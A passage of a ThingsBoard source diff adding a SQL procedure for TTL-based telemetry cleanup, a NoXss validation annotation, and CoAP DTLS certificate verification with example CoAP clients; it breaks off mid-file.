76 changed files with 2170 additions and 396 deletions
@ -0,0 +1,87 @@ |
|||
-- |
|||
-- Copyright © 2016-2021 The Thingsboard Authors |
|||
-- |
|||
-- Licensed under the Apache License, Version 2.0 (the "License"); |
|||
-- you may not use this file except in compliance with the License. |
|||
-- You may obtain a copy of the License at |
|||
-- |
|||
-- http://www.apache.org/licenses/LICENSE-2.0 |
|||
-- |
|||
-- Unless required by applicable law or agreed to in writing, software |
|||
-- distributed under the License is distributed on an "AS IS" BASIS, |
|||
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
-- See the License for the specific language governing permissions and |
|||
-- limitations under the License. |
|||
-- |
|||
|
|||
CREATE OR REPLACE PROCEDURE cleanup_timeseries_by_ttl(IN null_uuid uuid, |
|||
IN system_ttl bigint, INOUT deleted bigint) |
|||
LANGUAGE plpgsql AS |
|||
$$ |
|||
DECLARE |
|||
tenant_cursor CURSOR FOR select tenant.id as tenant_id |
|||
from tenant; |
|||
tenant_id_record uuid; |
|||
customer_id_record uuid; |
|||
tenant_ttl bigint; |
|||
customer_ttl bigint; |
|||
deleted_for_entities bigint; |
|||
tenant_ttl_ts bigint; |
|||
customer_ttl_ts bigint; |
|||
BEGIN |
|||
OPEN tenant_cursor; |
|||
FETCH tenant_cursor INTO tenant_id_record; |
|||
WHILE FOUND |
|||
LOOP |
|||
EXECUTE format( |
|||
'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L', |
|||
tenant_id_record, 'TTL') INTO tenant_ttl; |
|||
if tenant_ttl IS NULL THEN |
|||
tenant_ttl := system_ttl; |
|||
END IF; |
|||
IF tenant_ttl > 0 THEN |
|||
tenant_ttl_ts := (EXTRACT(EPOCH FROM current_timestamp) * 1000 - tenant_ttl::bigint * 1000)::bigint; |
|||
deleted_for_entities := delete_device_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts); |
|||
deleted := deleted + deleted_for_entities; |
|||
RAISE NOTICE '% telemetry removed for devices where tenant_id = %', deleted_for_entities, tenant_id_record; |
|||
deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts); |
|||
deleted := deleted + deleted_for_entities; |
|||
RAISE NOTICE '% telemetry removed for assets where tenant_id = %', deleted_for_entities, tenant_id_record; |
|||
END IF; |
|||
FOR customer_id_record IN |
|||
SELECT customer.id AS customer_id FROM customer WHERE customer.tenant_id = tenant_id_record |
|||
LOOP |
|||
EXECUTE format( |
|||
'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L', |
|||
customer_id_record, 'TTL') INTO customer_ttl; |
|||
IF customer_ttl IS NULL THEN |
|||
customer_ttl_ts := tenant_ttl_ts; |
|||
ELSE |
|||
IF customer_ttl > 0 THEN |
|||
customer_ttl_ts := |
|||
(EXTRACT(EPOCH FROM current_timestamp) * 1000 - |
|||
customer_ttl::bigint * 1000)::bigint; |
|||
END IF; |
|||
END IF; |
|||
IF customer_ttl_ts IS NOT NULL AND customer_ttl_ts > 0 THEN |
|||
deleted_for_entities := |
|||
delete_customer_records_from_ts_kv(tenant_id_record, customer_id_record, |
|||
customer_ttl_ts); |
|||
deleted := deleted + deleted_for_entities; |
|||
RAISE NOTICE '% telemetry removed for customer with id = % where tenant_id = %', deleted_for_entities, customer_id_record, tenant_id_record; |
|||
deleted_for_entities := |
|||
delete_device_records_from_ts_kv(tenant_id_record, customer_id_record, |
|||
customer_ttl_ts); |
|||
deleted := deleted + deleted_for_entities; |
|||
RAISE NOTICE '% telemetry removed for devices where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record; |
|||
deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, |
|||
customer_id_record, |
|||
customer_ttl_ts); |
|||
deleted := deleted + deleted_for_entities; |
|||
RAISE NOTICE '% telemetry removed for assets where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record; |
|||
END IF; |
|||
END LOOP; |
|||
FETCH tenant_cursor INTO tenant_id_record; |
|||
END LOOP; |
|||
END |
|||
$$; |
|||
@ -0,0 +1,34 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.common.data.validation; |
|||
|
|||
import javax.validation.Constraint; |
|||
import javax.validation.Payload; |
|||
import java.lang.annotation.ElementType; |
|||
import java.lang.annotation.Retention; |
|||
import java.lang.annotation.RetentionPolicy; |
|||
import java.lang.annotation.Target; |
|||
|
|||
@Retention(RetentionPolicy.RUNTIME) |
|||
@Target(ElementType.FIELD) |
|||
@Constraint(validatedBy = {}) |
|||
public @interface NoXss { |
|||
String message() default "field value is malformed"; |
|||
|
|||
Class<?>[] groups() default {}; |
|||
|
|||
Class<? extends Payload>[] payload() default {}; |
|||
} |
|||
@ -0,0 +1,161 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.transport.coap; |
|||
|
|||
import lombok.Data; |
|||
import lombok.extern.slf4j.Slf4j; |
|||
import org.eclipse.californium.elements.util.CertPathUtil; |
|||
import org.eclipse.californium.scandium.dtls.AlertMessage; |
|||
import org.eclipse.californium.scandium.dtls.CertificateMessage; |
|||
import org.eclipse.californium.scandium.dtls.CertificateType; |
|||
import org.eclipse.californium.scandium.dtls.CertificateVerificationResult; |
|||
import org.eclipse.californium.scandium.dtls.ConnectionId; |
|||
import org.eclipse.californium.scandium.dtls.DTLSSession; |
|||
import org.eclipse.californium.scandium.dtls.HandshakeException; |
|||
import org.eclipse.californium.scandium.dtls.HandshakeResultHandler; |
|||
import org.eclipse.californium.scandium.dtls.x509.NewAdvancedCertificateVerifier; |
|||
import org.eclipse.californium.scandium.util.ServerNames; |
|||
import org.springframework.util.StringUtils; |
|||
import org.thingsboard.server.common.data.DeviceProfile; |
|||
import org.thingsboard.server.common.data.DeviceTransportType; |
|||
import org.thingsboard.server.common.msg.EncryptionUtil; |
|||
import org.thingsboard.server.common.transport.TransportService; |
|||
import org.thingsboard.server.common.transport.TransportServiceCallback; |
|||
import org.thingsboard.server.common.transport.auth.SessionInfoCreator; |
|||
import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse; |
|||
import org.thingsboard.server.common.transport.util.SslUtil; |
|||
import org.thingsboard.server.gen.transport.TransportProtos; |
|||
import org.thingsboard.server.queue.discovery.TbServiceInfoProvider; |
|||
|
|||
import javax.security.auth.x500.X500Principal; |
|||
import java.security.cert.CertPath; |
|||
import java.security.cert.CertificateEncodingException; |
|||
import java.security.cert.CertificateExpiredException; |
|||
import java.security.cert.CertificateNotYetValidException; |
|||
import java.security.cert.X509Certificate; |
|||
import java.util.Collections; |
|||
import java.util.List; |
|||
import java.util.UUID; |
|||
import java.util.concurrent.ConcurrentMap; |
|||
import java.util.concurrent.CountDownLatch; |
|||
import java.util.concurrent.TimeUnit; |
|||
|
|||
@Slf4j |
|||
@Data |
|||
public class TbCoapDtlsCertificateVerifier implements NewAdvancedCertificateVerifier { |
|||
|
|||
private final TbCoapDtlsSessionInMemoryStorage tbCoapDtlsSessionInMemoryStorage; |
|||
|
|||
private TransportService transportService; |
|||
private TbServiceInfoProvider serviceInfoProvider; |
|||
private boolean skipValidityCheckForClientCert; |
|||
|
|||
public TbCoapDtlsCertificateVerifier(TransportService transportService, TbServiceInfoProvider serviceInfoProvider, long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout, boolean skipValidityCheckForClientCert) { |
|||
this.transportService = transportService; |
|||
this.serviceInfoProvider = serviceInfoProvider; |
|||
this.skipValidityCheckForClientCert = skipValidityCheckForClientCert; |
|||
this.tbCoapDtlsSessionInMemoryStorage = new TbCoapDtlsSessionInMemoryStorage(dtlsSessionInactivityTimeout, dtlsSessionReportTimeout); |
|||
} |
|||
|
|||
@Override |
|||
public List<CertificateType> getSupportedCertificateType() { |
|||
return Collections.singletonList(CertificateType.X_509); |
|||
} |
|||
|
|||
@Override |
|||
public CertificateVerificationResult verifyCertificate(ConnectionId cid, ServerNames serverName, Boolean clientUsage, boolean truncateCertificatePath, CertificateMessage message, DTLSSession session) { |
|||
try { |
|||
String credentialsBody = null; |
|||
CertPath certpath = message.getCertificateChain(); |
|||
X509Certificate[] chain = certpath.getCertificates().toArray(new X509Certificate[0]); |
|||
for (X509Certificate cert : chain) { |
|||
try { |
|||
if (!skipValidityCheckForClientCert) { |
|||
cert.checkValidity(); |
|||
} |
|||
String strCert = SslUtil.getCertificateString(cert); |
|||
String sha3Hash = EncryptionUtil.getSha3Hash(strCert); |
|||
final ValidateDeviceCredentialsResponse[] deviceCredentialsResponse = new ValidateDeviceCredentialsResponse[1]; |
|||
CountDownLatch latch = new CountDownLatch(1); |
|||
transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceX509CertRequestMsg.newBuilder().setHash(sha3Hash).build(), |
|||
new TransportServiceCallback<>() { |
|||
@Override |
|||
public void onSuccess(ValidateDeviceCredentialsResponse msg) { |
|||
if (!StringUtils.isEmpty(msg.getCredentials())) { |
|||
deviceCredentialsResponse[0] = msg; |
|||
} |
|||
latch.countDown(); |
|||
} |
|||
|
|||
@Override |
|||
public void onError(Throwable e) { |
|||
log.error(e.getMessage(), e); |
|||
latch.countDown(); |
|||
} |
|||
}); |
|||
latch.await(10, TimeUnit.SECONDS); |
|||
ValidateDeviceCredentialsResponse msg = deviceCredentialsResponse[0]; |
|||
if (msg != null && strCert.equals(msg.getCredentials())) { |
|||
credentialsBody = msg.getCredentials(); |
|||
DeviceProfile deviceProfile = msg.getDeviceProfile(); |
|||
if (msg.hasDeviceInfo() && deviceProfile != null) { |
|||
TransportProtos.SessionInfoProto sessionInfoProto = SessionInfoCreator.create(msg, serviceInfoProvider.getServiceId(), UUID.randomUUID()); |
|||
tbCoapDtlsSessionInMemoryStorage.put(session.getSessionIdentifier().toString(), new TbCoapDtlsSessionInfo(sessionInfoProto, deviceProfile)); |
|||
} |
|||
break; |
|||
} |
|||
} catch (InterruptedException | |
|||
CertificateEncodingException | |
|||
CertificateExpiredException | |
|||
CertificateNotYetValidException e) { |
|||
log.error(e.getMessage(), e); |
|||
} |
|||
} |
|||
if (credentialsBody == null) { |
|||
AlertMessage alert = new AlertMessage(AlertMessage.AlertLevel.FATAL, AlertMessage.AlertDescription.BAD_CERTIFICATE, |
|||
session.getPeer()); |
|||
throw new HandshakeException("Certificate chain could not be validated", alert); |
|||
} else { |
|||
return new CertificateVerificationResult(cid, certpath, null); |
|||
} |
|||
} catch (HandshakeException e) { |
|||
log.trace("Certificate validation failed!", e); |
|||
return new CertificateVerificationResult(cid, e, null); |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public List<X500Principal> getAcceptedIssuers() { |
|||
return CertPathUtil.toSubjects(null); |
|||
} |
|||
|
|||
@Override |
|||
public void setResultHandler(HandshakeResultHandler resultHandler) { |
|||
// empty implementation
|
|||
} |
|||
|
|||
public ConcurrentMap<String, TbCoapDtlsSessionInfo> getTbCoapDtlsSessionIdsMap() { |
|||
return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionIdMap(); |
|||
} |
|||
|
|||
public void evictTimeoutSessions() { |
|||
tbCoapDtlsSessionInMemoryStorage.evictTimeoutSessions(); |
|||
} |
|||
|
|||
public long getDtlsSessionReportTimeout() { |
|||
return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionReportTimeout(); |
|||
} |
|||
} |
|||
@ -0,0 +1,55 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.transport.coap; |
|||
|
|||
import lombok.Data; |
|||
import lombok.extern.slf4j.Slf4j; |
|||
|
|||
import java.util.concurrent.ConcurrentHashMap; |
|||
import java.util.concurrent.ConcurrentMap; |
|||
|
|||
@Slf4j |
|||
@Data |
|||
public class TbCoapDtlsSessionInMemoryStorage { |
|||
|
|||
private final ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap = new ConcurrentHashMap<>(); |
|||
private long dtlsSessionInactivityTimeout; |
|||
private long dtlsSessionReportTimeout; |
|||
|
|||
|
|||
public TbCoapDtlsSessionInMemoryStorage(long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout) { |
|||
this.dtlsSessionInactivityTimeout = dtlsSessionInactivityTimeout; |
|||
this.dtlsSessionReportTimeout = dtlsSessionReportTimeout; |
|||
} |
|||
|
|||
public void put(String dtlsSessionId, TbCoapDtlsSessionInfo dtlsSessionInfo) { |
|||
log.trace("DTLS session added to in-memory store: [{}] timestamp: [{}]", dtlsSessionId, dtlsSessionInfo.getLastActivityTime()); |
|||
dtlsSessionIdMap.putIfAbsent(dtlsSessionId, dtlsSessionInfo); |
|||
} |
|||
|
|||
public void evictTimeoutSessions() { |
|||
long expTime = System.currentTimeMillis() - dtlsSessionInactivityTimeout; |
|||
dtlsSessionIdMap.entrySet().removeIf(entry -> { |
|||
if (entry.getValue().getLastActivityTime() < expTime) { |
|||
log.trace("DTLS session was removed from in-memory store: [{}]", entry.getKey()); |
|||
return true; |
|||
} else { |
|||
return false; |
|||
} |
|||
}); |
|||
} |
|||
|
|||
} |
|||
@ -0,0 +1,35 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.transport.coap; |
|||
|
|||
import lombok.Data; |
|||
import org.thingsboard.server.common.data.DeviceProfile; |
|||
import org.thingsboard.server.gen.transport.TransportProtos; |
|||
|
|||
@Data |
|||
public class TbCoapDtlsSessionInfo { |
|||
|
|||
private TransportProtos.SessionInfoProto sessionInfoProto; |
|||
private DeviceProfile deviceProfile; |
|||
private long lastActivityTime; |
|||
|
|||
|
|||
public TbCoapDtlsSessionInfo(TransportProtos.SessionInfoProto sessionInfoProto, DeviceProfile deviceProfile) { |
|||
this.sessionInfoProto = sessionInfoProto; |
|||
this.deviceProfile = deviceProfile; |
|||
this.lastActivityTime = System.currentTimeMillis(); |
|||
} |
|||
} |
|||
@ -0,0 +1,162 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.transport.coap; |
|||
|
|||
import com.google.common.io.Resources; |
|||
import lombok.extern.slf4j.Slf4j; |
|||
import org.eclipse.californium.elements.util.SslContextUtil; |
|||
import org.eclipse.californium.scandium.config.DtlsConnectorConfig; |
|||
import org.eclipse.californium.scandium.dtls.CertificateType; |
|||
import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; |
|||
import org.springframework.beans.factory.annotation.Autowired; |
|||
import org.springframework.beans.factory.annotation.Value; |
|||
import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; |
|||
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; |
|||
import org.springframework.stereotype.Component; |
|||
import org.thingsboard.server.common.transport.TransportService; |
|||
import org.thingsboard.server.queue.discovery.TbServiceInfoProvider; |
|||
|
|||
import java.io.IOException; |
|||
import java.net.InetAddress; |
|||
import java.net.InetSocketAddress; |
|||
import java.net.UnknownHostException; |
|||
import java.security.GeneralSecurityException; |
|||
import java.security.cert.Certificate; |
|||
import java.util.Collections; |
|||
import java.util.Optional; |
|||
|
|||
@Slf4j |
|||
@ConditionalOnProperty(prefix = "transport.coap.dtls", value = "enabled", havingValue = "true", matchIfMissing = false) |
|||
@ConditionalOnExpression("'${transport.type:null}'=='null' || ('${transport.type}'=='local' && '${transport.coap.enabled}'=='true')") |
|||
@Component |
|||
public class TbCoapDtlsSettings { |
|||
|
|||
@Value("${transport.coap.bind_address}") |
|||
private String host; |
|||
|
|||
@Value("${transport.coap.bind_port}") |
|||
private Integer port; |
|||
|
|||
@Value("${transport.coap.dtls.mode}") |
|||
private String mode; |
|||
|
|||
@Value("${transport.coap.dtls.key_store}") |
|||
private String keyStoreFile; |
|||
|
|||
@Value("${transport.coap.dtls.key_store_password}") |
|||
private String keyStorePassword; |
|||
|
|||
@Value("${transport.coap.dtls.key_password}") |
|||
private String keyPassword; |
|||
|
|||
@Value("${transport.coap.dtls.key_alias}") |
|||
private String keyAlias; |
|||
|
|||
@Value("${transport.coap.dtls.skip_validity_check_for_client_cert}") |
|||
private boolean skipValidityCheckForClientCert; |
|||
|
|||
@Value("${transport.coap.dtls.x509.dtls_session_inactivity_timeout}") |
|||
private long dtlsSessionInactivityTimeout; |
|||
|
|||
@Value("${transport.coap.dtls.x509.dtls_session_report_timeout}") |
|||
private long dtlsSessionReportTimeout; |
|||
|
|||
@Autowired |
|||
private TransportService transportService; |
|||
|
|||
@Autowired |
|||
private TbServiceInfoProvider serviceInfoProvider; |
|||
|
|||
public DtlsConnectorConfig dtlsConnectorConfig() throws UnknownHostException { |
|||
Optional<SecurityMode> securityModeOpt = SecurityMode.parse(mode); |
|||
if (securityModeOpt.isEmpty()) { |
|||
log.warn("Incorrect configuration of securityMode {}", mode); |
|||
throw new RuntimeException("Failed to parse mode property: " + mode + "!"); |
|||
} else { |
|||
DtlsConnectorConfig.Builder configBuilder = new DtlsConnectorConfig.Builder(); |
|||
configBuilder.setAddress(getInetSocketAddress()); |
|||
String keyStoreFilePath = Resources.getResource(keyStoreFile).getPath(); |
|||
SslContextUtil.Credentials serverCredentials = loadServerCredentials(keyStoreFilePath); |
|||
SecurityMode securityMode = securityModeOpt.get(); |
|||
if (securityMode.equals(SecurityMode.NO_AUTH)) { |
|||
configBuilder.setClientAuthenticationRequired(false); |
|||
configBuilder.setServerOnly(true); |
|||
} else { |
|||
configBuilder.setAdvancedCertificateVerifier( |
|||
new TbCoapDtlsCertificateVerifier( |
|||
transportService, |
|||
serviceInfoProvider, |
|||
dtlsSessionInactivityTimeout, |
|||
dtlsSessionReportTimeout, |
|||
skipValidityCheckForClientCert |
|||
) |
|||
); |
|||
} |
|||
configBuilder.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), |
|||
Collections.singletonList(CertificateType.X_509)); |
|||
return configBuilder.build(); |
|||
} |
|||
} |
|||
|
|||
private SslContextUtil.Credentials loadServerCredentials(String keyStoreFilePath) { |
|||
try { |
|||
return SslContextUtil.loadCredentials(keyStoreFilePath, keyAlias, keyStorePassword.toCharArray(), |
|||
keyPassword.toCharArray()); |
|||
} catch (GeneralSecurityException | IOException e) { |
|||
throw new RuntimeException("Failed to load serverCredentials due to: ", e); |
|||
} |
|||
} |
|||
|
|||
private void loadTrustedCertificates(DtlsConnectorConfig.Builder config, String keyStoreFilePath) { |
|||
StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); |
|||
try { |
|||
Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( |
|||
keyStoreFilePath, keyAlias, |
|||
keyStorePassword.toCharArray()); |
|||
trustBuilder.setTrustedCertificates(trustedCertificates); |
|||
if (trustBuilder.hasTrusts()) { |
|||
config.setAdvancedCertificateVerifier(trustBuilder.build()); |
|||
} |
|||
} catch (GeneralSecurityException | IOException e) { |
|||
throw new RuntimeException("Failed to load trusted certificates due to: ", e); |
|||
} |
|||
} |
|||
|
|||
private InetSocketAddress getInetSocketAddress() throws UnknownHostException { |
|||
InetAddress addr = InetAddress.getByName(host); |
|||
return new InetSocketAddress(addr, port); |
|||
} |
|||
|
|||
private enum SecurityMode { |
|||
X509, |
|||
NO_AUTH; |
|||
|
|||
static Optional<SecurityMode> parse(String name) { |
|||
SecurityMode mode = null; |
|||
if (name != null) { |
|||
for (SecurityMode securityMode : SecurityMode.values()) { |
|||
if (securityMode.name().equalsIgnoreCase(name)) { |
|||
mode = securityMode; |
|||
break; |
|||
} |
|||
} |
|||
} |
|||
return Optional.ofNullable(mode); |
|||
} |
|||
|
|||
} |
|||
|
|||
} |
|||
@ -0,0 +1,97 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.transport.coap.client; |
|||
|
|||
import org.eclipse.californium.core.CoapClient; |
|||
import org.eclipse.californium.core.CoapResponse; |
|||
import org.eclipse.californium.core.Utils; |
|||
import org.eclipse.californium.elements.DtlsEndpointContext; |
|||
import org.eclipse.californium.elements.EndpointContext; |
|||
import org.eclipse.californium.elements.exception.ConnectorException; |
|||
|
|||
import java.io.IOException; |
|||
import java.net.URI; |
|||
import java.net.URISyntaxException; |
|||
import java.security.Principal; |
|||
import java.util.concurrent.ExecutorService; |
|||
import java.util.concurrent.Executors; |
|||
|
|||
public class NoSecClient { |
|||
|
|||
private ExecutorService executor = Executors.newFixedThreadPool(1); |
|||
private CoapClient coapClient; |
|||
|
|||
public NoSecClient(String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { |
|||
URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys)); |
|||
this.coapClient = new CoapClient(uri); |
|||
} |
|||
|
|||
public void test() { |
|||
executor.submit(() -> { |
|||
try { |
|||
while (!Thread.interrupted()) { |
|||
CoapResponse response = null; |
|||
try { |
|||
response = coapClient.get(); |
|||
} catch (ConnectorException | IOException e) { |
|||
System.err.println("Error occurred while sending request: " + e); |
|||
System.exit(-1); |
|||
} |
|||
if (response != null) { |
|||
|
|||
System.out.println(response.getCode() + " - " + response.getCode().name()); |
|||
System.out.println(response.getOptions()); |
|||
System.out.println(response.getResponseText()); |
|||
System.out.println(); |
|||
System.out.println("ADVANCED:"); |
|||
EndpointContext context = response.advanced().getSourceContext(); |
|||
Principal identity = context.getPeerIdentity(); |
|||
if (identity != null) { |
|||
System.out.println(context.getPeerIdentity()); |
|||
} else { |
|||
System.out.println("anonymous"); |
|||
} |
|||
System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); |
|||
System.out.println(Utils.prettyPrint(response)); |
|||
} else { |
|||
System.out.println("No response received."); |
|||
} |
|||
Thread.sleep(5000); |
|||
} |
|||
} catch (Exception e) { |
|||
System.out.println("Error occurred while sending COAP requests."); |
|||
} |
|||
}); |
|||
} |
|||
|
|||
private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) { |
|||
return "coap://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; |
|||
} |
|||
|
|||
public static void main(String[] args) throws URISyntaxException { |
|||
System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.NoSecClient " + |
|||
"host port accessToken clientKeys sharedKeys"); |
|||
|
|||
String host = args[0]; |
|||
int port = Integer.parseInt(args[1]); |
|||
String accessToken = args[2]; |
|||
String clientKeys = args[3]; |
|||
String sharedKeys = args[4]; |
|||
|
|||
NoSecClient client = new NoSecClient(host, port, accessToken, clientKeys, sharedKeys); |
|||
client.test(); |
|||
} |
|||
} |
|||
@ -0,0 +1,145 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.transport.coap.client; |
|||
|
|||
import org.eclipse.californium.core.CoapClient; |
|||
import org.eclipse.californium.core.CoapResponse; |
|||
import org.eclipse.californium.core.Utils; |
|||
import org.eclipse.californium.core.network.CoapEndpoint; |
|||
import org.eclipse.californium.elements.DtlsEndpointContext; |
|||
import org.eclipse.californium.elements.EndpointContext; |
|||
import org.eclipse.californium.elements.exception.ConnectorException; |
|||
import org.eclipse.californium.elements.util.SslContextUtil; |
|||
import org.eclipse.californium.scandium.DTLSConnector; |
|||
import org.eclipse.californium.scandium.config.DtlsConnectorConfig; |
|||
import org.eclipse.californium.scandium.dtls.CertificateType; |
|||
import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; |
|||
|
|||
import java.io.IOException; |
|||
import java.net.URI; |
|||
import java.net.URISyntaxException; |
|||
import java.security.GeneralSecurityException; |
|||
import java.security.Principal; |
|||
import java.security.cert.Certificate; |
|||
import java.util.Collections; |
|||
import java.util.concurrent.ExecutorService; |
|||
import java.util.concurrent.Executors; |
|||
|
|||
public class SecureClientNoAuth { |
|||
|
|||
private final DTLSConnector dtlsConnector; |
|||
private ExecutorService executor = Executors.newFixedThreadPool(1); |
|||
private CoapClient coapClient; |
|||
|
|||
public SecureClientNoAuth(DTLSConnector dtlsConnector, String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { |
|||
this.dtlsConnector = dtlsConnector; |
|||
this.coapClient = getCoapClient(host, port, accessToken, clientKeys, sharedKeys); |
|||
} |
|||
|
|||
public void test() { |
|||
executor.submit(() -> { |
|||
try { |
|||
while (!Thread.interrupted()) { |
|||
CoapResponse response = null; |
|||
try { |
|||
response = coapClient.get(); |
|||
} catch (ConnectorException | IOException e) { |
|||
System.err.println("Error occurred while sending request: " + e); |
|||
System.exit(-1); |
|||
} |
|||
if (response != null) { |
|||
|
|||
System.out.println(response.getCode() + " - " + response.getCode().name()); |
|||
System.out.println(response.getOptions()); |
|||
System.out.println(response.getResponseText()); |
|||
System.out.println(); |
|||
System.out.println("ADVANCED:"); |
|||
EndpointContext context = response.advanced().getSourceContext(); |
|||
Principal identity = context.getPeerIdentity(); |
|||
if (identity != null) { |
|||
System.out.println(context.getPeerIdentity()); |
|||
} else { |
|||
System.out.println("anonymous"); |
|||
} |
|||
System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); |
|||
System.out.println(Utils.prettyPrint(response)); |
|||
} else { |
|||
System.out.println("No response received."); |
|||
} |
|||
Thread.sleep(5000); |
|||
} |
|||
} catch (Exception e) { |
|||
System.out.println("Error occurred while sending COAP requests."); |
|||
} |
|||
}); |
|||
} |
|||
|
|||
private CoapClient getCoapClient(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { |
|||
URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys)); |
|||
CoapClient client = new CoapClient(uri); |
|||
CoapEndpoint.Builder builder = new CoapEndpoint.Builder(); |
|||
builder.setConnector(dtlsConnector); |
|||
|
|||
client.setEndpoint(builder.build()); |
|||
return client; |
|||
} |
|||
|
|||
private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) { |
|||
return "coaps://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; |
